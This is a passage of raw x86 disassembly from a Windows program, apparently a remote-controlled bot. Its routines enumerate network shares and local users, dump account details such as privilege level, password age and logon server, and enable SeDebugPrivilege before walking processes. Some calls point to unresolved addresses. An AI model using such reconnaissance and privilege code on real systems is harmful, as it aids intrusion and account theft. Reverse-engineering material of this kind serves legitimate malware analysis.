		push	esi
		push	[esp+4+arg_0]
		call	sub_418C2A
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_418C2A
		pop	ecx
		pop	ecx
		push	0
		push	eax
		push	esi
		call	dword_4CAE40
		pop	esi
		retn
sub_418C6B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418C8E	proc near		; CODE XREF: sub_401ACD+46B0p

var_210		= byte ptr -210h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_C]
		call	sub_418C2A
		xor	esi, esi
		mov	[ebp+var_C], eax
		push	esi
		mov	[ebp+arg_C], esi
		push	[ebp+arg_8]
		mov	[ebp+var_8], esi
		mov	[ebp+var_10], esi
		push	offset aShareNameResou ; "Share	name:	 Resource:		 "...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 18h


loc_418CC7:				; CODE XREF: sub_418C8E+10Fj
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	[ebp+var_C]
		call	dword_4CAEB8
		mov	ebx, eax
		cmp	ebx, esi
		jz	short loc_418D2A
		cmp	ebx, 0EAh
		jz	short loc_418D2A
		push	ebx
		push	ebx
		call	sub_41945F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_210]
		push	offset unk_439098
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 24h
		jmp	short loc_418D97
; ---------------------------------------------------------------------------


loc_418D2A:				; CODE XREF: sub_418C8E+5Dj
					; sub_418C8E+65j
		push	1
		pop	edi
		cmp	[ebp+arg_C], edi
		jb	short loc_418D8E
		mov	eax, [ebp+var_4]
		lea	esi, [eax+14h]


loc_418D38:				; CODE XREF: sub_418C8E+FCj
		push	dword ptr [esi+10h]
		call	dword_4CAE5C
		test	eax, eax
		mov	eax, offset aYes ; "Yes"
		jnz	short loc_418D4F
		mov	eax, offset aNo	; "No"


loc_418D4F:				; CODE XREF: sub_418C8E+BAj
		push	eax
		lea	eax, [ebp+var_210]
		push	dword ptr [esi]
		push	dword ptr [esi+4]
		push	dword ptr [esi-14h]
		push	offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 2Ch
		add	esi, 28h
		inc	edi
		cmp	edi, [ebp+arg_C]
		jbe	short loc_418D38
		xor	esi, esi


loc_418D8E:				; CODE XREF: sub_418C8E+A2j
		push	[ebp+var_4]
		call	dword_4CB004


loc_418D97:				; CODE XREF: sub_418C8E+9Aj
		cmp	ebx, 0EAh
		jz	loc_418CC7
		xor	eax, eax
		cmp	ebx, esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_418C8E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418DAF	proc near		; CODE XREF: sub_401ACD:loc_4061EEp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebx, edi
		jz	loc_418E54
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, edi
		jz	short loc_418DF1
		dec	eax
		jz	short loc_418DE6
		dec	eax
		jnz	short loc_418E0C
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	ebx
		push	edi
		call	sub_418EF6
		add	esp, 14h
		jmp	short loc_418E08
; ---------------------------------------------------------------------------


loc_418DE6:				; CODE XREF: sub_418DAF+1Dj
		push	ebx
		push	edi
		call	sub_418ED5
		pop	ecx
		pop	ecx
		jmp	short loc_418E08
; ---------------------------------------------------------------------------


loc_418DF1:				; CODE XREF: sub_418DAF+1Aj
		cmp	[ebp+arg_8], edi
		jz	short loc_418E05
		push	[ebp+arg_8]
		push	ebx
		push	edi
		call	sub_418E7B
		add	esp, 0Ch
		jmp	short loc_418E08
; ---------------------------------------------------------------------------


loc_418E05:				; CODE XREF: sub_418DAF+45j
		push	57h
		pop	eax


loc_418E08:				; CODE XREF: sub_418DAF+35j
					; sub_418DAF+40j ...
		cmp	eax, edi
		jnz	short loc_418E2C


loc_418E0C:				; CODE XREF: sub_418DAF+20j
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4DADF0
		push	off_4389A4[eax*4]
		push	offset unk_439150
		push	esi
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_418E74
; ---------------------------------------------------------------------------


loc_418E2C:				; CODE XREF: sub_418DAF+5Bj
		push	eax
		call	sub_41945F
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4DADF0
		push	off_4389A0[eax*4]
		push	offset unk_439120
		push	esi
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_418E74
; ---------------------------------------------------------------------------


loc_418E54:				; CODE XREF: sub_418DAF+Dj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4DADF0
		lea	eax, [eax+eax*2]
		push	off_4389A0[eax*4]
		push	offset unk_4390F8
		push	esi
		call	sub_41B886
		add	esp, 0Ch


loc_418E74:				; CODE XREF: sub_418DAF+7Bj
					; sub_418DAF+A3j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_418DAF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418E7B	proc near		; CODE XREF: sub_418DAF+4Cp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		and	[ebp+var_4], 0
		push	edi
		push	[ebp+arg_0]
		call	sub_418C2A
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_418C2A
		push	[ebp+arg_8]
		mov	[ebp+var_24], eax
		call	sub_418C2A
		add	esp, 0Ch
		mov	[ebp+var_20], eax
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		push	1
		and	[ebp+var_8], 0
		pop	eax
		lea	ecx, [ebp+var_4]
		push	ecx
		lea	ecx, [ebp+var_24]
		push	ecx
		push	eax
		push	edi
		mov	[ebp+var_18], eax
		mov	[ebp+var_C], 10001h
		call	dword_4CAE4C
		pop	edi
		leave
		retn
sub_418E7B	endp


; =============== S U B	R O U T	I N E =======================================



sub_418ED5	proc near		; CODE XREF: sub_418DAF+39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_418C2A
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_418C2A
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	dword_4CAE3C
		pop	esi
		retn
sub_418ED5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418EF6	proc near		; CODE XREF: sub_418DAF+2Dp

var_204		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		and	[ebp+var_4], 0
		push	esi
		push	[ebp+arg_0]
		call	sub_418C2A
		push	[ebp+arg_4]
		mov	esi, eax
		call	sub_418C2A
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	0Bh
		push	eax
		push	esi
		call	dword_4CAFCC
		test	eax, eax
		mov	[ebp+arg_0], eax
		jnz	loc_41929E
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	loc_4192D9
		push	ebx
		push	edi
		push	dword ptr [eax]
		lea	eax, [ebp+var_204]
		push	offset aAccountS ; "Account: %S"
		push	eax
		call	sub_41B886
		mov	esi, [ebp+arg_10]
		mov	edi, [ebp+arg_C]
		mov	ebx, [ebp+arg_8]
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+0Ch]
		lea	eax, [ebp+var_204]
		push	offset aFullNameS ; "Full Name:	%S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_204]
		push	offset aUserCommentS ; "User Comment: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_204]
		push	offset aCommentS ; "Comment: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		mov	eax, [eax+10h]
		sub	eax, 0
		jz	short loc_419015
		dec	eax
		jz	short loc_41900E
		dec	eax
		jz	short loc_419007
		mov	eax, offset aUnknown ; "Unknown"
		jmp	short loc_41901A
; ---------------------------------------------------------------------------


loc_419007:				; CODE XREF: sub_418EF6+108j
		mov	eax, offset aAdministrator ; "Administrator"
		jmp	short loc_41901A
; ---------------------------------------------------------------------------


loc_41900E:				; CODE XREF: sub_418EF6+105j
		mov	eax, offset aUser_1 ; "User"
		jmp	short loc_41901A
; ---------------------------------------------------------------------------


loc_419015:				; CODE XREF: sub_418EF6+102j
		mov	eax, offset aGuest ; "Guest"


loc_41901A:				; CODE XREF: sub_418EF6+10Fj
					; sub_418EF6+116j ...
		push	eax
		lea	eax, [ebp+var_204]
		push	offset aPrivilegeLevel ; "Privilege Level: %s"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+14h]
		lea	eax, [ebp+var_204]
		push	offset aAuthFlagsD ; "Auth Flags: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+1Ch]
		lea	eax, [ebp+var_204]
		push	offset aHomeDirectoryS ; "Home Directory: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+20h]
		lea	eax, [ebp+var_204]
		push	offset aParametersS ; "Parameters: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+18h]
		lea	eax, [ebp+var_204]
		push	offset aPasswordAgeD ; "Password Age: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+2Ch]
		lea	eax, [ebp+var_204]
		push	offset aBadPasswordCou ; "Bad Password Count: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+30h]
		lea	eax, [ebp+var_204]
		push	offset aNumberOfLogins ; "Number of Logins: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+24h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogonD ; "Last Logon: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+28h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogoffD ; "Last Logoff: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+34h]
		lea	eax, [ebp+var_204]
		push	offset aLogonServerS ; "Logon Server: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+3Ch]
		lea	eax, [ebp+var_204]
		push	offset aWorkstationsS ;	"Workstations: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+38h]
		lea	eax, [ebp+var_204]
		push	offset aCountryCodeD ; "Country	Code: %d"
		push	eax
		call	sub_41B886
		push	1
		push	esi
		lea	eax, [ebp+var_204]
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4Ch]
		lea	eax, [ebp+var_204]
		push	offset aUserSLanguageD ; "User's Language: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+40h]
		lea	eax, [ebp+var_204]
		push	offset aMax_StorageD ; "Max. Storage: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+44h]
		lea	eax, [ebp+var_204]
		push	offset aUnitsPerWeekD ;	"Units Per Week: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		add	esp, 20h
		pop	edi
		pop	ebx
		jmp	short loc_4192CA
; ---------------------------------------------------------------------------


loc_41929E:				; CODE XREF: sub_418EF6+35j
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_439170
		push	eax
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_204]
		push	[ebp+arg_10]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_409A72
		add	esp, 20h


loc_4192CA:				; CODE XREF: sub_418EF6+3A6j
		cmp	[ebp+var_4], 0
		jz	short loc_4192D9
		push	[ebp+var_4]
		call	dword_4CB004


loc_4192D9:				; CODE XREF: sub_418EF6+40j
					; sub_418EF6+3D8j
		mov	eax, [ebp+arg_0]
		pop	esi
		leave
		retn
sub_418EF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4192DF	proc near		; CODE XREF: sub_401ACD+473Bp

var_218		= byte ptr -218h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 218h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	[ebp+arg_C]
		mov	[ebp+var_4], esi
		call	sub_418C2A
		push	esi
		mov	[ebp+var_14], eax
		push	[ebp+arg_8]
		mov	[ebp+arg_C], esi
		mov	[ebp+var_18], esi
		mov	[ebp+var_10], esi
		push	offset aUsernameAccoun ; "Username accounts for	local system:"
		mov	[ebp+var_8], esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 18h


loc_41931E:				; CODE XREF: sub_4192DF+135j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	2
		push	esi
		push	[ebp+var_14]
		call	dword_4CAED4
		cmp	eax, esi
		mov	[ebp+var_C], eax
		jz	short loc_41937F
		cmp	eax, 0EAh
		jz	short loc_41937F
		push	eax
		push	eax
		call	sub_41945F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_218]
		push	offset unk_439360
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 24h
		jmp	short loc_4193FA
; ---------------------------------------------------------------------------


loc_41937F:				; CODE XREF: sub_4192DF+62j
					; sub_4192DF+69j
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	loc_41940D
		xor	ebx, ebx
		cmp	[ebp+arg_C], esi
		jbe	short loc_4193FA


loc_419391:				; CODE XREF: sub_4192DF+EDj
		cmp	edi, esi
		jz	short loc_4193D0
		push	dword ptr [edi]
		lea	eax, [ebp+var_218]
		push	offset aS_4	; "  %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h
		add	edi, 4
		inc	[ebp+var_8]
		inc	ebx
		cmp	ebx, [ebp+arg_C]
		jb	short loc_419391
		jmp	short loc_4193FA
; ---------------------------------------------------------------------------


loc_4193D0:				; CODE XREF: sub_4192DF+B4j
		lea	eax, [ebp+var_218]
		push	offset unk_43932C
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 1Ch


loc_4193FA:				; CODE XREF: sub_4192DF+9Ej
					; sub_4192DF+B0j ...
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_41940D
		push	edi
		call	dword_4CB004
		xor	edi, edi
		mov	[ebp+var_4], edi


loc_41940D:				; CODE XREF: sub_4192DF+A5j
					; sub_4192DF+120j
		cmp	[ebp+var_C], 0EAh
		jz	loc_41931E
		cmp	edi, esi
		jz	short loc_419425
		push	edi
		call	dword_4CB004


loc_419425:				; CODE XREF: sub_4192DF+13Dj
		push	[ebp+var_8]
		lea	eax, [ebp+var_218]
		push	offset aTotalUsersFoun ; "Total	users found: %d."
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h
		xor	eax, eax
		cmp	[ebp+var_C], esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_4192DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_41945F	proc near		; CODE XREF: sub_418A98+41p
					; sub_418C8E+69p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 858h
		cmp	eax, ecx
		ja	loc_419511
		jz	loc_41950A
		cmp	eax, 7Bh
		ja	short loc_4194D6
		jz	short loc_4194CC
		cmp	eax, 5
		jz	short loc_4194C2
		cmp	eax, 8
		jz	short loc_4194B8
		cmp	eax, 32h
		jz	short loc_4194AE
		cmp	eax, 35h
		jz	short loc_4194A4
		cmp	eax, 57h
		jnz	loc_419560
		push	offset aInvalidParamet ; "Invalid parameter."
		jmp	loc_419581
; ---------------------------------------------------------------------------


loc_4194A4:				; CODE XREF: sub_41945F+30j
		push	offset aServerNameNotF ; "Server name not found."
		jmp	loc_419581
; ---------------------------------------------------------------------------


loc_4194AE:				; CODE XREF: sub_41945F+2Bj
		push	offset aThisNetworkReq ; "This network request is not supported."
		jmp	loc_419581
; ---------------------------------------------------------------------------


loc_4194B8:				; CODE XREF: sub_41945F+26j
		push	offset aNotEnoughMemor ; "Not enough memory."
		jmp	loc_419581
; ---------------------------------------------------------------------------


loc_4194C2:				; CODE XREF: sub_41945F+21j
		push	offset aAccessDenied_ ;	"Access	denied."
		jmp	loc_419581
; ---------------------------------------------------------------------------


loc_4194CC:				; CODE XREF: sub_41945F+1Cj
		push	offset aTheNameIsInval ; "The name is invalid."
		jmp	loc_419581
; ---------------------------------------------------------------------------


loc_4194D6:				; CODE XREF: sub_41945F+1Aj
		sub	eax, 7Ch
		jz	short loc_419503
		sub	eax, 7C8h
		jz	short loc_4194FC
		dec	eax
		jz	short loc_4194F2
		dec	eax
		jnz	short loc_419560
		push	offset aDuplicateShare ; "Duplicate share name."
		jmp	loc_419581
; ---------------------------------------------------------------------------


loc_4194F2:				; CODE XREF: sub_41945F+84j
		push	offset aInvalidForRedi ; "Invalid for redirected resource."
		jmp	loc_419581
; ---------------------------------------------------------------------------


loc_4194FC:				; CODE XREF: sub_41945F+81j
		push	offset aDeviceOrDirect ; "Device or directory does not exist."
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_419503:				; CODE XREF: sub_41945F+7Aj
		push	offset aLevelParameter ; "Level	parameter is invalid."
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_41950A:				; CODE XREF: sub_41945F+11j
		push	offset aAGeneralFailur ; "A general failure occurred in	the netwo"...
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_419511:				; CODE XREF: sub_41945F+Bj
		mov	ecx, 8C5h
		cmp	eax, ecx
		ja	short loc_41954A
		jz	short loc_419543
		sub	eax, 8ADh
		jz	short loc_419575
		dec	eax
		dec	eax
		jz	short loc_41953C
		dec	eax
		jz	short loc_419535
		dec	eax
		dec	eax
		jnz	short loc_419560
		push	offset aTheOperationIs ; "The operation	is allowed only	on the pr"...
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_419535:				; CODE XREF: sub_41945F+C9j
		push	offset aTheUserAccount ; "The user account already exists."
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_41953C:				; CODE XREF: sub_41945F+C6j
		push	offset aTheGroupAlread ; "The group already exists."
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_419543:				; CODE XREF: sub_41945F+BBj
		push	offset aThePasswordIsS ; "The password is shorter than required	("...
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_41954A:				; CODE XREF: sub_41945F+B9j
		sub	eax, 8CAh
		jz	short loc_41957C
		sub	eax, 17h
		jz	short loc_419575
		sub	eax, 25h
		jz	short loc_41956E
		sub	eax, 29h
		jz	short loc_419567


loc_419560:				; CODE XREF: sub_41945F+35j
					; sub_41945F+87j ...
		push	offset aAnUnknownErr_0 ; "An unknown error occurred."
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_419567:				; CODE XREF: sub_41945F+FFj
		push	offset aTheComputerNam ; "The computer name is invalid."
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_41956E:				; CODE XREF: sub_41945F+FAj
		push	offset aShareNotFound_ ; "Share	not found."
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_419575:				; CODE XREF: sub_41945F+C2j
					; sub_41945F+F5j
		push	offset aTheUserNameCou ; "The user name	could not be found."
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_41957C:				; CODE XREF: sub_41945F+F0j
		push	offset aNetworkConnect ; "Network connection not found."


loc_419581:				; CODE XREF: sub_41945F+40j
					; sub_41945F+4Aj ...
		push	offset dword_4DAB90
		call	sub_41B886
		pop	ecx
		mov	eax, offset dword_4DAB90
		pop	ecx
		retn
sub_41945F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419593	proc near		; CODE XREF: sub_401ACD+4781p

var_718		= byte ptr -718h
var_318		= byte ptr -318h
var_108		= byte ptr -108h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 718h
		push	esi
		push	200h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41D834
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		mov	esi, 108h
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		mov	[ebp+arg_0], esi
		call	near ptr 26B0000h
		nop
		lea	eax, [ebp+var_108]
		push	esi
		push	eax
		lea	eax, [ebp+var_318]
		push	eax
		call	sub_41D834
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41D817
		add	esp, 10h
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_718]
		push	eax
		lea	eax, [ebp+var_318]
		push	0
		push	eax
		push	0
		call	dword_4CAF84
		test	eax, eax
		jnz	short loc_419623
		mov	esi, offset dword_4DA98C
		push	offset unk_439694
		push	esi
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_41964C
; ---------------------------------------------------------------------------


loc_419623:				; CODE XREF: sub_419593+7Aj
		lea	ecx, [ebp+var_718]
		push	ecx
		lea	ecx, [ebp+var_318]
		push	ecx
		push	eax
		call	sub_41945F
		pop	ecx
		mov	esi, offset dword_4DA98C
		push	eax
		push	offset dword_439668
		push	esi
		call	sub_41B886
		add	esp, 14h


loc_41964C:				; CODE XREF: sub_419593+8Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_419593	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419651	proc near		; CODE XREF: sub_416F1A+45p
					; sub_416F1A+166p ...

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		nop
		call	near ptr 2700543h
		push	eax
		call	dword_4CAF58
		test	eax, eax
		jnz	short loc_419670
		leave
		retn
; ---------------------------------------------------------------------------


loc_419670:				; CODE XREF: sub_419651+1Bj
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		xor	esi, esi
		push	[ebp+arg_0]
		push	esi
		call	dword_4CAF30
		test	eax, eax
		jz	short loc_4196AE
		cmp	[ebp+arg_4], esi
		mov	[ebp+var_14], 1
		jz	short loc_419697
		or	[ebp+var_8], 2
		jmp	short loc_41969B
; ---------------------------------------------------------------------------


loc_419697:				; CODE XREF: sub_419651+3Ej
		and	[ebp+var_8], 0FFFFFFFDh


loc_41969B:				; CODE XREF: sub_419651+44j
		push	esi
		push	esi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	esi
		push	[ebp+var_4]
		call	dword_4CAFE0
		mov	esi, eax


loc_4196AE:				; CODE XREF: sub_419651+32j
		push	[ebp+var_4]
		nop
		call	near ptr 265092Ah
		mov	eax, esi
		pop	esi
		leave
		retn
sub_419651	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4196BC	proc near		; CODE XREF: sub_401ACD+7915p
					; sub_4198EB+74p

var_554		= byte ptr -554h
var_354		= dword	ptr -354h
var_350		= byte ptr -350h
var_234		= byte ptr -234h
var_130		= dword	ptr -130h
var_12C		= byte ptr -12Ch
var_128		= dword	ptr -128h
var_10C		= byte ptr -10Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 554h
		push	ebx
		push	esi
		push	edi
		push	49h
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		cmp	dword_4CAF94, ebx
		lea	edi, [ebp+var_12C]
		mov	[ebp+var_130], ebx
		rep stosd
		mov	ecx, 88h
		lea	edi, [ebp+var_350]
		mov	[ebp+var_354], ebx
		rep stosd
		jz	loc_4198BB
		cmp	dword_4CAF78, ebx
		jz	loc_4198BB
		cmp	dword_4CAE88, ebx
		jz	loc_4198BB
		push	1
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419651
		pop	ecx
		pop	ecx
		push	ebx
		push	0Fh
		call	dword_4CAF94
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_8], edi
		jz	loc_4198AE
		lea	eax, [ebp+var_130]
		mov	[ebp+var_130], 128h
		push	eax
		push	edi
		call	dword_4CAF78
		mov	esi, dword_427068
